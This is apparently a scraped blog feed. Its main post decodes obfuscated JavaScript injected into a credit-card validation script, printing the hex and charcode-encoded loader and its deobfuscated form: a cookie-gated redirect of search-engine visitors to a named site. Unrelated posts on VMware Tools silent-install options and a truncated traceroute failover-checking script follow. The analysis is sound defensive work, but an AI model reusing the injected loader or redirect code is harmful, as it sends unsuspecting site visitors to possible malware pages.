x2c\x39\x39\x2c\x31\x31\x30\x2c\x31\x32\x34\x2c\x31\x31\x39\x2c\x31\x31\x39\x2c\x31\x31\x39\x2c\x31\x32\x34\x2c\x31\x30\x38\x2c\x31\x31\x31\x2c\x39\x39\x2c\x39\x37\x2c\x31\x31\x36\x2c\x31\x30\x35\x2c\x31\x31\x31\x2c\x31\x31\x30\x2c\x31\x32\x34\x2c\x31\x31\x39\x2c\x31\x30\x35\x2c\x31\x31\x30\x2c\x31\x30\x30\x2c\x31\x31\x31\x2c\x31\x31\x39\x2c\x31\x32\x34\x2c\x31\x30\x32\x2c\x31\x30\x38\x2c\x31\x31\x31\x2c\x31\x31\x31\x2c\x31\x31\x34\x2c\x31\x32\x34\x2c\x31\x30\x34\x2c\x31\x31\x34\x2c\x31\x30\x31\x2c\x31\x30\x32\x2c\x31\x32\x34\x2c\x31\x30\x30\x2c\x31\x30\x31\x2c\x31\x32\x34\x2c\x31\x31\x32\x2c\x31\x30\x31\x2c\x31\x31\x34\x2c\x31\x30\x32\x2c\x31\x30\x31\x2c\x31\x30\x37\x2c\x31\x31\x36\x2c\x31\x30\x31\x2c\x31\x30\x37\x2c\x31\x30\x38\x2c\x31\x30\x31\x2c\x31\x30\x35\x2c\x31\x30\x30\x2c\x31\x32\x34\x2c\x31\x31\x32\x2c\x31\x30\x34\x2c\x31\x31\x32\x2c\x31\x32\x34\x2c\x31\x31\x39\x2c\x31\x30\x31\x2c\x31\x30\x38\x2c\x39\x39\x2c\x31\x31\x31\x2c\x31\x30\x39\x2c\x31\x30\x31\x2c\x31\x32\x34\x2c\x38\x32\x2c\x31\x30\x31\x2c\x31\x30\x33\x2c\x36\x39\x2c\x31\x32\x30\x2c\x31\x31\x32\x2c\x31\x32\x34\x2c\x31\x31\x36\x2c\x31\x31\x31\x2c\x37\x31\x2c\x37\x37\x2c\x38\x34\x2c\x38\x33\x2c\x31\x31\x36\x2c\x31\x31\x34\x2c\x31\x30\x35\x2c\x31\x31\x30\x2c\x31\x30\x33\x2c\x31\x32\x34\x2c\x31\x31\x37\x2c\x31\x31\x30\x2c\x31\x30\x31\x2c\x31\x31\x35\x2c\x39\x39\x2c\x39\x37\x2c\x31\x31\x32\x2c\x31\x30\x31\x2c\x31\x32\x34\x2c\x31\x30\x39\x2c\x39\x37\x2c\x31\x31\x36\x2c\x39\x39\x2c\x31\x30\x34\x2c\x31\x32\x34\x2c\x34\x39\x2c\x34\x38\x2c\x34\x38\x2c\x34\x38\x2c\x31\x32\x34\x2c\x35\x30\x2c\x35\x32\x2c\x31\x32\x34\x2c\x31\x30\x31\x2c\x31\x32\x30\x2c\x31\x31\x32\x2c\x31\x30\x35\x2c\x31\x31\x34\x2c\x31\x30\x31\x2c\x31\x31\x35\x2c\x31\x32\x34\x2c\x31\x30\x31\x2c\x31\x31\x35\x2c\x39\x39\x2c\x39\x37\x2c\x31\x31\x32\x2c\x31\x30\x31\x2c\x31\x32\x34\x2c\x31\x30\x33\x2c\x31\x31\x31\x2c\x31\x31\x31\x2c\x31\x30\x33\x2c\x31\x30\x38\x2c\x31\x30\x31\x2c\x31\x32\x34\x2c\x31\x32\x31\x2c\x39\x37\x2c\x31\x30\x34\x2c\x31\x31\x31\x2c\x31\x31\x31\x2c\x31\x32\x34\x2c\x31\x31\x30\x2c\x31\x31\x37\x2c\x31\x30\x38\x2c\x31\x30\x38\x2c\x31\x32\x34\x2c\x39\x38\x2c\x31\x30\x35\x2c\x31\x31\x30\x2c\x31\x30\x33\x2c\x31\x32\x34\x2c\x31\x31\x32\x2c\x31\x30\x35\x2c\x31\x31\x30\x2c\x31\x31\x36\x2c\x31\x30\x31\x2c\x31\x31\x34\x2c\x31\x30\x31\x2c\x31\x31\x35\x2c\x31\x31\x36\x2c\x33\x39\x2c\x34\x36\x2c\x31\x31\x35\x2c\x31\x31\x32\x2c\x31\x30\x38\x2c\x31\x30\x35\x2c\x31\x31\x36\x2c\x34\x30\x2c\x33\x39\x2c\x31\x32\x34\x2c\x33\x39\x2c\x34\x31\x2c\x34\x34\x2c\x34\x38\x2c\x34\x34\x2c\x31\x32\x33\x2c\x31\x32\x35\x2c\x34\x31\x2c\x34\x31\x2c\x31\x30"
t=window["\x65\x76\x61\x6c"]("String.fromCharCode("+t+")");window["\x65\x76\x61\x6c"](t);
// You have permission to copy and use this javascript provided that
// the content of the script is not changed in any way.

function validateCreditCard(s) {
    // remove non-numerics
    var v = "0123456789";
    var w = "";
    for (i=0; i < s.length; i++) {
        x = s.charAt(i);
        if (v.indexOf(x,0) != -1)
        w += x;
    }
    // validate number
    j = w.length / 2;
    k = Math.floor(j);
    m = Math.ceil(j) - k;
    c = 0;
    for (i=0; i<k; i++) {
        a = w.charAt(i*2+m) * 2;
        c += a > 9 ? Math.floor(a/10 + a%10) : a;
    }
    for (i=0; i<k+m; i++) c += w.charAt(i*2+1-m) * 1;
    return (c%10 == 0);
}

Notice anything? Yep, the third and fourth line look awfully strange. Eerily strange even. What should be obvious is that nothing is obvious, except that there is probably some JavaScript obfuscation going on. JavaScript obfuscation is used regularly by bad guys trying to evade malware and exploit detection by IDS/IPS and such, or even by supposedly “good” guys that are like “don’t steal my code, dude!!!1″. While obfuscation by compressing JavaScript (removing unnecessary spaces and newlines for faster load/browser execution) is understandable, I find the latter rather questionable, but whatever.
For some fun JavaScript obfuscation samples check out jjencode and aaencode by Yosuke Hasegawa.

At least in this example the obfuscated part appears very out of place, so it’s safe to assume these lines were injected with some malicious intent. Virustotal also shows that that McAfee and TrendMicro detect the file as malicious with some heuristic  BehavesLike.JS.ExploitBlacole.mx and HEUR_HTJS.HDJSFN signatures respectively.

So let’s get down to decoding it:

The “\x◯◯” sequences are just escaped ASCII characters, which can be easily decoded from our shell with echo -e:

$ echo -e "$(cat ccard.js)"
// Credit Card Validation Javascript
// copyright 12th May 2003, by Stephen Chapman, Felgall Pty Ltd
t="101,118,97,108,40,102,117,110,99,116,105,111,110,40,112,44,97,44,99,44,107,44,101,44,100,41,123,101,61,102,117,110,99,116,105,111,110,40,99,41,123,114,101,116,117,114,110,40,99,60,97,63,34,34,58,101,40,112,97,114,115,101,73,110,116,40,99,47,97,41,41,41,43,40,40,99,61,99,37,97,41,62,51,53,63,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,99,43,50,57,41,58,99,46,116,111,83,116,114,105,110,103,40,51,54,41,41,125,59,105,102,40,33,39,39,46,114,101,112,108,97,99,101,40,47,94,47,44,83,116,114,105,110,103,41,41,123,119,104,105,108,101,40,99,45,45,41,100,91,101,40,99,41,93,61,107,91,99,93,124,124,101,40,99,41,59,107,61,91,102,117,110,99,116,105,111,110,40,101,41,123,114,101,116,117,114,110,32,100,91,101,93,125,93,59,101,61,102,117,110,99,116,105,111,110,40,41,123,114,101,116,117,114,110,39,92,92,119,43,39,125,59,99,61,49,59,125,59,119,104,105,108,101,40,99,45,45,41,105,102,40,107,91,99,93,41,112,61,112,46,114,101,112,108,97,99,101,40,110,101,119,32,82,101,103,69,120,112,40,39,92,92,98,39,43,101,40,99,41,43,39,92,92,98,39,44,39,103,39,41,44,107,91,99,93,41,59,114,101,116,117,114,110,32,112,59,125,40,39,104,32,79,40,97,44,98,41,123,51,32,101,61,97,46,86,40,34,45,34,41,59,51,32,84,61,107,32,102,40,101,91,48,93,44,101,91,49,93,44,101,91,50,93,41,59,51,32,87,61,84,46,65,40,41,59,51,32,117,61,98,46,86,40,34,45,34,41,59,51,32,88,61,107,32,102,40,117,91,48,93,44,117,91,49,93,44,117,91,50,93,41,59,51,32,83,61,88,46,65,40,41,59,52,40,87,62,61,83,41,123,55,32,78,125,114,32,55,32,49,100,125,59,104,32,76,40,57,44,56,41,123,52,40,79,40,57,44,56,41,61,61,78,41,123,51,32,82,61,57,46,106,40,53,44,57,46,119,40,92,39,45,92,39,41,41,59,51,32,89,61,57,46,106,40,57,46,122,44,57,46,119,40,92,39,45,92,39,41,43,49,41,59,51,32,49,51,61,57,46,106,40,48,44,57,46,99,40,92,39,45,92,39,41,41,59,51,32,49,48,61,56,46,106,40,53,44,56,46,119,40,92,39,45,92,39,41,41,59,51,32,49,52,61,56,46,106,40,56,46,122,44,56,46,119,40,92,39,45,92,39,41,43,49,41,59,51,32,69,61,56,46,106,40,48,44,56,46,99,40,92,39,45,92,39,41,41,59,51,32,68,61,40,40,102,46,49,49,40,82,43,92,39,47,92,39,43,89,43,92,39,47,92,39,43,49,51,41,45,102,46,49,49,40,49,48,43,92,39,47,92,39,43,49,52,43,92,39,47,92,39,43,69,41,41,47,49,54,41,59,55,32,116,46,49,98,40,68,41,125,114,32,55,32,48,125,59,104,32,73,40,41,123,51,32,100,61,107,32,102,40,41,59,51,32,75,61,100,46,49,56,40,41,43,34,45,34,43,40,100,46,49,57,40,41,43,49,41,43,34,45,34,43,100,46,49,97,40,41,59,55,32,75,125,59,104,32,120,40,41,123,51,32,120,61,76,40,73,40,41,44,92,39,49,99,45,54,45,53,92,39,41,42,53,59,52,40,120,60,61,72,41,123,55,32,120,125,114,32,55,32,72,125,59,104,32,109,40,118,44,71,41,123,51,32,115,61,107,32,102,40,41,59,115,46,49,55,40,115,46,65,40,41,43,49,53,42,49,65,42,77,42,77,42,49,122,41,59,121,46,70,61,118,43,34,61,34,43,49,67,40,71,41,43,34,59,49,66,61,34,43,115,46,49,119,40,41,125,59,104,32,81,40,118,41,123,51,32,101,44,74,61,107,32,49,118,40,34,40,94,124,32,41,34,43,118,43,34,61,40,91,94,59,93,42,41,40,59,124,36,41,34,41,59,52,40,101,61,121,46,70,46,49,121,40,74,41,41,55,32,49,120,40,101,91,50,93,41,59,114,32,55,32,49,70,125,59,52,40,120,40,41,61,61,48,41,123,109,40,34,110,34,44,34,111,46,108,46,103,34,41,125,59,51,32,112,61,48,59,51,32,105,61,121,46,105,59,52,40,105,46,113,40,41,46,99,40,34,49,68,34,41,62,48,124,124,105,46,113,40,41,46,99,40,34,49,69,34,41,62,48,124,124,105,46,113,40,41,46,99,40,34,49,71,34,41,62,48,124,124,105,46,113,40,41,46,99,40,34,49,72,34,41,62,48,41,123,51,32,112,61,49,125,59,51,32,49,50,61,40,67,46,49,106,124,124,67,46,49,105,41,46,113,40,41,59,52,40,49,50,46,99,40,34,49,108,34,41,62,48,41,123,51,32,112,61,48,59,109,40,34,110,34,44,34,111,46,108,46,103,34,41,125,59,51,32,90,61,107,32,102,40,41,46,49,107,40,41,59,52,40,90,46,99,40,34,49,102,34,41,62,48,41,123,51,32,112,61,48,59,109,40,34,110,34,44,34,111,46,108,46,103,34,41,125,59,52,40,112,61,61,49,38,38,81,40,34,110,34,41,33,61,34,111,46,108,46,103,34,41,123,51,32,80,61,49,101,40,116,46,85,40,41,42,49,104,43,49,41,59,52,40,80,60,120,40,41,41,123,109,40,34,110,34,44,34,111,46,108,46,103,34,41,59,51,32,66,61,91,34,49,103,58,47,47,49,109,46,49,115,46,49,114,47,49,117,46,49,116,34,93,59,49,111,46,49,110,46,49,113,61,66,91,116,46,49,112,40,116,46,85,40,41,42,66,46,122,41,93,125,114,123,109,40,34,110,34,44,34,111,46,108,46,103,34,41,125,125,39,44,54,50,44,49,48,54,44,39,124,124,124,118,97,114,124,105,102,124,124,124,114,101,116,117,114,110,124,68,97,116,101,84,119,111,124,68,97,116,101,79,110,101,124,124,124,105,110,100,101,120,79,102,124,124,97,114,114,124,68,97,116,101,124,49,52,50,51,50,55,52,56,49,52,49,53,49,124,102,117,110,99,116,105,111,110,124,114,101,102,101,114,114,101,114,124,115,117,98,115,116,114,105,110,103,124,110,101,119,124,49,50,48,49,57,52,52,56,55,49,50,124,115,101,116,67,111,111,107,105,101,124,95,95,103,97,105,100,124,71,65,49,124,114,115,124,116,111,76,111,119,101,114,67,97,115,101,124,101,108,115,101,124,101,120,112,124,77,97,116,104,124,97,114,114,115,124,110,97,109,101,124,108,97,115,116,73,110,100,101,120,79,102,124,124,100,111,99,117,109,101,110,116,124,108,101,110,103,116,104,124,103,101,116,84,105,109,101,124,114,110,100,115,105,116,101,124,110,97,118,105,103,97,116,111,114,124,99,104,97,124,84,119,111,89,101,97,114,124,99,111,111,107,105,101,124,118,97,108,117,101,124,51,53,124,116,111,100,97,121,124,114,101,103,124,115,116,114,124,100,97,121,115,66,101,116,119,101,101,110,124,54,48,124,116,114,117,101,124,99,111,109,100,97,116,101,124,115,106,115,124,103,101,116,67,111,111,107,105,101,124,79,110,101,77,111,110,116,104,124,108,107,116,105,109,101,115,124,115,116,97,114,116,116,105,109,101,124,114,97,110,100,111,109,124,115,112,108,105,116,124,115,116,97,114,116,116,105,109,101,115,124,108,107,116,105,109,101,124,79,110,101,68,97,121,124,115,113,124,84,119,111,77,111,110,116,104,124,112,97,114,115,101,124,108,97,110,103,124,79,110,101,89,101,97,114,124,84,119,111,68,97,121,124,49,56,48,124,56,54,52,48,48,48,48,48,124,115,101,116,84,105,109,101,124,103,101,116,70,117,108,108,89,101,97,114,124,103,101,116,77,111,110,116,104,124,103,101,116,68,97,116,101,124,97,98,115,124,50,48,49,53,124,102,97,108,115,101,124,112,97,114,115,101,73,110,116,124,48,56,48,124,104,116,116,112,124,49,48,48,124,98,114,111,119,115,101,114,76,97,110,103,117,97,103,101,124,108,97,110,103,117,97,103,101,124,116,111,83,116,114,105,110,103,124,99,110,124,119,119,119,124,108,111,99,97,116,105,111,110,124,119,105,110,100,111,119,124,102,108,111,111,114,124,104,114,101,102,124,100,101,124,112,101,114,102,101,107,116,101,107,108,101,105,100,124,112,104,112,124,119,101,108,99,111,109,101,124,82,101,103,69,120,112,124,116,111,71,77,84,83,116,114,105,110,103,124,117,110,101,115,99,97,112,101,124,109,97,116,99,104,124,49,48,48,48,124,50,52,124,101,120,112,105,114,101,115,124,101,115,99,97,112,101,124,103,111,111,103,108,101,124,121,97,104,111,111,124,110,117,108,108,124,98,105,110,103,124,112,105,110,116,101,114,101,115,116,39,46,115,112,108,105,116,40,39,124,39,41,44,48,44,123,125,41,41,10"
t=window["eval"]("String.fromCharCode("+t+")");window["eval"](t);
// You have permission to copy and use this javascript provided that
// the content of the script is not changed in any way.
[...]

Not very helpful yet, the ASCII escape-encoded hexadecimal sequences were just used to unnecessarily encode a bunch of comma-separated decimal numbers. This and the following String.fromCharCode function make it obvious that these numbers are also just decimal representations of encoded unicode characters.

So to decode both layers and combine it with the already readable parts, I wrote the following snippet of shell code (I’m sure it can be improved by miles, please bear with me):

file="/tmp/ccard.js"
cat $file | while read -r line
do
  echo $line | if grep -Pq '(\\[^(\\|")]+)+'
  then
    echo -e "$line" | if grep -Pq '(\d+,)+'
    then
      echo -e "$line" | grep -Po '\d+' | while read line
      do # decode decimal unicode code points
        echo "\\x$(echo "obase=16; $line" | bc )" | tr -d '\n'
      done | sed -re 's/\\/\\\\/g' | xargs echo -ne
    else
      echo -e "$line"
    fi
  else
    echo "$line"
  fi
done

This finally gives us some compressed, barely sense-making but “readable” obfuscated JavaScript:

// Credit Card Validation Javascript
// copyright 12th May 2003, by Stephen Chapman, Felgall Pty Ltd
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('h O(a,b){3 e=a.V("-");3 T=k f(e[0],e[1],e[2]);3 W=T.A();3 u=b.V("-");3 X=k f(u[0],u[1],u[2]);3 S=X.A();4(W>=S){7 N}r 7 1d};h L(9,8){4(O(9,8)==N){3 R=9.j(5,9.w(\'-\'));3 Y=9.j(9.z,9.w(\'-\')+1);3 13=9.j(0,9.c(\'-\'));3 10=8.j(5,8.w(\'-\'));3 14=8.j(8.z,8.w(\'-\')+1);3 E=8.j(0,8.c(\'-\'));3 D=((f.11(R+\'/\'+Y+\'/\'+13)-f.11(10+\'/\'+14+\'/\'+E))/16);7 t.1b(D)}r 7 0};h I(){3 d=k f();3 K=d.18()+"-"+(d.19()+1)+"-"+d.1a();7 K};h x(){3 x=L(I(),\'1c-6-5\')*5;4(x<=H){7 x}r 7 H};h m(v,G){3 s=k f();s.17(s.A()+15*1A*M*M*1z);y.F=v+"="+1C(G)+";1B="+s.1w()};h Q(v){3 e,J=k 1v("(^| )"+v+"=([^;]*)(;|$)");4(e=y.F.1y(J))7 1x(e[2]);r 7 1F};4(x()==0){m("n","o.l.g")};3 p=0;3 i=y.i;4(i.q().c("1D")>0||i.q().c("1E")>0||i.q().c("1G")>0||i.q().c("1H")>0){3 p=1};3 12=(C.1j||C.1i).q();4(12.c("1l")>0){3 p=0;m("n","o.l.g")};3 Z=k f().1k();4(Z.c("1f")>0){3 p=0;m("n","o.l.g")};4(p==1&&Q("n")!="o.l.g"){3 P=1e(t.U()*1h+1);4(P<x()){m("n","o.l.g");3 B=["1g://1m.1s.1r/1u.1t"];1o.1n.1q=B[t.1p(t.U()*B.z)]}r{m("n","o.l.g")}}',62,106,'|||var|if|||return|DateTwo|DateOne|||indexOf||arr|Date|1423274814151|function|referrer|substring|new|12019448712|setCookie|__gaid|GA1|rs|toLowerCase|else|exp|Math|arrs|name|lastIndexOf||document|length|getTime|rndsite|navigator|cha|TwoYear|cookie|value|35|today|reg|str|daysBetween|60|true|comdate|sjs|getCookie|OneMonth|lktimes|starttime|random|split|starttimes|lktime|OneDay|sq|TwoMonth|parse|lang|OneYear|TwoDay|180|86400000|setTime|getFullYear|getMonth|getDate|abs|2015|false|parseInt|080|http|100|browserLanguage|language|toString|cn|www|location|window|floor|href|de|perfektekleid|php|welcome|RegExp|toGMTString|unescape|match|1000|24|expires|escape|google|yahoo|null|bing|pinterest'.split('|'),0,{}))
t=window["eval"]("String.fromCharCode("+t+")");window["eval"](t);
// You have permission to copy and use this javascript provided that
// the content of the script is not changed in any way.
[...]

At this stage we can use an online JavaScript beautifier tool that will take care of the last and most difficult obfuscation stage. The above JavaScript sequence actually translates into the following:

// Credit Card Validation Javascript
// copyright 12th May 2003, by Stephen Chapman, Felgall Pty Ltd
function comdate(a, b) {
    var arr = a.split("-");
    var starttime = new Date(arr[0], arr[1], arr[2]);
    var starttimes = starttime.getTime();
    var arrs = b.split("-");
    var lktime = new Date(arrs[0], arrs[1], arrs[2]);
    var lktimes = lktime.getTime();
    if (starttimes >= lktimes) {
        return true
    } else return false
};

function daysBetween(DateOne, DateTwo) {
    if (comdate(DateOne, DateTwo) == true) {
        var OneMonth = DateOne.substring(5, DateOne.lastIndexOf('-'));
        var OneDay = DateOne.substring(DateOne.length, DateOne.lastIndexOf('-') + 1);
        var OneYear = DateOne.substring(0, DateOne.indexOf('-'));
        var TwoMonth = DateTwo.substring(5, DateTwo.lastIndexOf('-'));
        var TwoDay = DateTwo.substring(DateTwo.length, DateTwo.lastIndexOf('-') + 1);
        var TwoYear = DateTwo.substring(0, DateTwo.indexOf('-'));
        var cha = ((Date.parse(OneMonth + '/' + OneDay + '/' + OneYear) - Date.parse(TwoMonth + '/' + TwoDay + '/' + TwoYear)) / 86400000);
        return Math.abs(cha)
    } else return 0
};

function today() {
    var d = new Date();
    var str = d.getFullYear() + "-" + (d.getMonth() + 1) + "-" + d.getDate();
    return str
};

function x() {
    var x = daysBetween(today(), '2015-6-5') * 5;
    if (x <= 35) {
        return x
    } else return 35
};

function setCookie(name, value) {
    var exp = new Date();
    exp.setTime(exp.getTime() + 180 * 24 * 60 * 60 * 1000);
    document.cookie = name + "=" + escape(value) + ";expires=" + exp.toGMTString()
};

function getCookie(name) {
    var arr, reg = new RegExp("(^| )" + name + "=([^;]*)(;|$)");
    if (arr = document.cookie.match(reg)) return unescape(arr[2]);
    else return null
};
if (x() == 0) {
    setCookie("__gaid", "GA1.12019448712.1423274814151")
};
var rs = 0;
var referrer = document.referrer;
if (referrer.toLowerCase().indexOf("google") > 0 || referrer.toLowerCase().indexOf("yahoo") > 0 || referrer.toLowerCase().indexOf("bing") > 0 || referrer.toLowerCase().indexOf("pinterest") > 0) {
    var rs = 1
};
var lang = (navigator.language || navigator.browserLanguage).toLowerCase();
if (lang.indexOf("cn") > 0) {
    var rs = 0;
    setCookie("__gaid", "GA1.12019448712.1423274814151")
};
var sq = new Date().toString();
if (sq.indexOf("080") > 0) {
    var rs = 0;
    setCookie("__gaid", "GA1.12019448712.1423274814151")
};
if (rs == 1 && getCookie("__gaid") != "GA1.12019448712.1423274814151") {
    var sjs = parseInt(Math.random() * 100 + 1);
    if (sjs < x()) {
        setCookie("__gaid", "GA1.12019448712.1423274814151");
        var rndsite = ["http://www.perfektekleid.de/welcome.php"];
        window.location.href = rndsite[Math.floor(Math.random() * rndsite.length)]
    } else {
        setCookie("__gaid", "GA1.12019448712.1423274814151")
    }
}
t = window["eval"]("String.fromCharCode(" + t + ")");
window["eval"](t);
// You have permission to copy and use this javascript provided that
// the content of the script is not changed in any way.

function validateCreditCard(s) {
    // remove non-numerics
    var v = "0123456789";
    var w = "";
    for (i = 0; i < s.length; i++) {
        x = s.charAt(i);
        if (v.indexOf(x, 0) != -1)
            w += x;
    }
    // validate number
    j = w.length / 2;
    k = Math.floor(j);
    m = Math.ceil(j) - k;
    c = 0;
    for (i = 0; i < k; i++) {
        a = w.charAt(i * 2 + m) * 2;
        c += a > 9 ? Math.floor(a / 10 + a % 10) : a;
    }
    for (i = 0; i < k + m; i++) c += w.charAt(i * 2 + 1 - m) * 1;
    return (c % 10 == 0);
}

 Of particular interest among all the junk should be this part, which instructs the browser open another page if we enter it in an online JavaScript evaluator tool:

        var rndsite = ["http://www.perfektekleid.de/welcome.php"];
        window.location.href = rndsite[Math.floor(Math.random() * rndsite.length)]

It can be suspected that this link was infected and used to distribute some actual malware/exploits, or directed the user to the next stage on the long digital road to misery. The link currently just redirects to the main page that appears to be clean though:

$ curl -vs http://www.perfektekleid.de/welcome.php
* About to connect() to www.perfektekleid.de port 80 (#0)
*   Trying 173.254.198.75... connected
* Connected to www.perfektekleid.de (173.254.198.75) port 80 (#0)
> GET /welcome.php HTTP/1.1
> User-Agent: curl/7.19.7 (i386-redhat-linux-gnu) libcurl/7.19.7 NSS/3.16.2.3 Basic ECC zlib/1.2.3 libidn/1.18 libssh2/1.4.2
> Host: www.perfektekleid.de
> Accept: */*
>
< HTTP/1.1 301 Moved Permanently
< Server: nginx
< Date: Tue, 23 Jun 2015 14:14:46 GMT
< Content-Type: text/html
< Transfer-Encoding: chunked
< Connection: keep-alive
< X-Powered-By: PHP/5.3.28
< Location: http://www.perfektekleid.de
<
* Connection #0 to host www.perfektekleid.de left intact
* Closing connection #0

I’m far from being a JavaScript or malware analysis expert, so if I interpreted something incorrectly, missed something or you have anything to add, feel free to leave a comment.


Renamed VMware Tools components and automatic installation

$
0
0

With the release of vSphere 6.0 and a recent update for the 5.5 VMware Tools on May 8th 2015 (9.4.12 build 2627939), VMware also changed the Windows VMware Tools installer slightly by renaming some vShield-related components:
VMware ESXi 5.5, Patch ESXi550-201505402-BG: Updates tools-light

The vShield Endpoint drivers are renamed as Guest Introspection Drivers and two of these drivers, NSX File Introspection Driver (vsepflt.sys) and NSX Network Introspection Driver (vnetflt.sys), can be installed separately now. This allows you to install the file driver without installing the network driver.

If you’ve been using custom automated installations of the VMware Tools like me then you might have to adjust the installer command for newer tools versions.

The old Windows VMware Tools component list looked like this:
(You can get the software script that displays detailed components information here.)

C:\install>cscript software.vbs "VMware Tools" F
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.

---Features in product {5DB26083-3561-4205-9D14-BFE56F2F091E}---
PVSCSI {Drivers} = Local
VMXNet {Drivers} = Local
VMXNet3 {Drivers} = Local
VSS {Drivers} = Local
Perfmon {Toolbox} = Local
TrayIcon {Plugins} = Local
Microsoft_x86_Dll {Common} = Local
Common = Local
Drivers = Local
MemCtl {Drivers} = Local
Mouse {Drivers} = Local
MouseUsb {Drivers} = Local
SVGA {Drivers} = Local
VMCI {Drivers} = Local
Toolbox = Local
Plugins {Toolbox} = Local
Audio {Drivers} = Uninstalled
BootCamp {Drivers} = Uninstalled
Hgfs {VMCI} = Uninstalled
VShield {VMCI} = Uninstalled
Unity {Toolbox} = Uninstalled

With these components, I used the following installer line for an unattended installation:

VMware-tools-9.4.10-2092844-x86_64.exe /v /qb-! REINSTALLMODE=vomus ADDLOCAL=All REMOVE=Hgfs,WYSE,Audio,BootCamp,Unity,VShield REBOOT=ReallySuppress

Note: I’m using the /qb-! option that will perform an automatic installation while still showing basic installer progress bars. This is in order for users (usually VM owners) to be able to track the process and see if anything went wrong while still not having to manually select/click anything. The Tools package accepts basic Windows installer switches. For a completely silent automatic installation, replace /qb-! with /qn.

However, the new 6.0/latest 5.5 Tools have these slightly different components:

C:\install>cscript software.vbs "VMware Tools" F
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.

---Features in product {5A16DD24-E486-4347-9D44-9555ABD5B1C5}---
PVSCSI {Drivers} = Local
VMXNet {Drivers} = Local
VMXNet3 {Drivers} = Local
VSS {Drivers} = Local
Perfmon {Toolbox} = Local
TrayIcon {Plugins} = Local
Microsoft_x86_Dll {Common} = Local
Common = Local
Drivers = Local
MemCtl {Drivers} = Local
Mouse {Drivers} = Local
MouseUsb {Drivers} = Local
SVGA {Drivers} = Local
VMCI {Drivers} = Local
Toolbox = Local
Plugins {Toolbox} = Local
Audio {Drivers} = Uninstalled
BootCamp {Drivers} = Uninstalled
Hgfs {VMCI} = Uninstalled
FileIntrospection {VMCI} = Uninstalled
NetworkIntrospection {FileIntrospection} = Uninstalled
Unity {Toolbox} = Uninstalled

The installation will quit with an error if you use the old component names with the newer VMware Tools installer, so these have to be adjusted accordingly:

VMware-tools-9.4.12-2627939-x86_64.exe /v /qb-! REINSTALLMODE=vomus ADDLOCAL=All REMOVE=Audio,BootCamp,FileIntrospection,Hgfs,NetworkIntrospection,Unity REBOOT=ReallySuppress

 

Getting the latest VMware Tools

I’m using dedicated single-file installers from the public VMware Tools Repository, but the above also works with the setup.exe on the VMware Tools ISO CD that is mounted into the GuestOS when you install/update VMware Tools through the host.
This method is handy since the VM owners can update the VMware Tools themselves without needing to access the vSphere infrastructure via a Client.

You can get the latest and greatest, as well as all older VMware Tools versions from VMware directly from this repository without having to download or even install ESXi patches (though you should definitely do that regularly).
I recommend everyone to use the latest Tools VMware has published regardless of your ESXi/vSphere version. As you can see in the official VMware Product Interoperability Matrixes, running newer VMware Tools versions on older ESXi hosts is fully supported:

VMware Tools Support


[Script] Network routing/failover topology change detection

$
0
0

A while ago I wrote a simple but useful script which I’m sharing here to detect upstream provider HSRP failover events via traceroute. It can be used for all kinds of virtual IP routing failover like VRRP, Check Point Cluster XL, actual routing protocols like BGP/OSPF or similar technologies where IP packets can be routed across multiple hops.
The script executes traceroutes to a given destination and checks whether the path is being routed over a certain hop, with the ability to send mail notifications if this is not the case.

You can get the most recent version of this script on my Github here. If you have any suggestions or improvements (which I’m sure there is plenty of room for), feel free to drop a comment or an issue or a pull-request on Github.

#!/bin/sh
##########
# Script to verify that packets to a destination are being routed on a path with a specific hop via traceroute.
# Example usage scenarios for this script include detecting failover of HSRP/VRRP clusters, changes in the routing topology through dynamic routing protocols along the way, and other use cases.
#
# If the expected hop does not appear on the path, a mail notification can be sent.
#
# Github: https://github.com/alpacacode/Homebrewn-Scripts
########

function usage() {
  echo "Usage:
$0 -d <Destination IP> -h <Hop IP> [-m <mail adress to notify>]

Options:
 -d Destination IP for the traceroute
 -h IP of the network hop that should appear during the traceroute
 -m Mail address that should be notified in case the specified hop does not appear during the traceroute
 If no mail address is specified, output will be printed to the terminal.
 The traceroute uses ICMP mode and as such needs to be run as root in most environments.
 This script handles IPv4 addresses only.

Example:
./traceroute_check.sh -d 8.8.8.8 -h 10.1.2.3 -m admin@example.org
" 1>&2
  exit 1
}

# Handle Options
while getopts ":d:h:m:" o; do
  case "${o}" in
    d)
      Destination=${OPTARG}
      ;;
    h)
      Hop=${OPTARG}
      ;;
    m)
      Mail=${OPTARG}
      ;;
    *)
      usage
      ;;
  esac
done
shift $((OPTIND-1))

# Verify valid IPv4 addresses were specified
function valid_ip()
{
  local  ip=$1
  local  stat=1

  if [[ $ip =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]]
  then
    OIFS=$IFS
    IFS='.'
    ip=($ip)
    IFS=$OIFS
    [[ ${ip[0]} -le 255 && ${ip[1]} -le 255 && ${ip[2]} -le 255 && ${ip[3]} -le 255 ]]
    stat=$?
  fi
  return $stat
}

function send_mail()
{
  echo -e "$2" | mail -s "$1" -r traceroute@$HOSTNAME $Mail
}

# Verify IPs
if ! (valid_ip $Hop) || ! (valid_ip $Destination)
then
  echo -e "Error: Specified destination or hop do not look like a valid IPv4 address.\n"
  usage
fi

Date=$(date)
# ICMP Traceroute Timeout=3s, Probe-Delay=200ms
Traceroute=$(traceroute -In -w 5 -z 200 $Destination 2>&1)
# If the traceroute command encounters an error
if [ $? != 0 ]
then
  if [ ! -z "$Mail" -a "$Mail" != " " ]
  then
    send_mail "Traceroute Error" "Error while executing the traceroute command:\n$Date\nExit-Code:$?\n\n$Traceroute"
  else
    echo -e "Error while executing the traceroute command:\n$Date\nExit-Code:$?\n\n$Traceroute"
  fi
  exit 1
fi

# If the specified hop does not appear in the traceroute
if ! grep -Pq "\s$Hop\s" <<< $Traceroute
then
  if [ ! -z "$Mail" -a "$Mail" != " " ]
  then
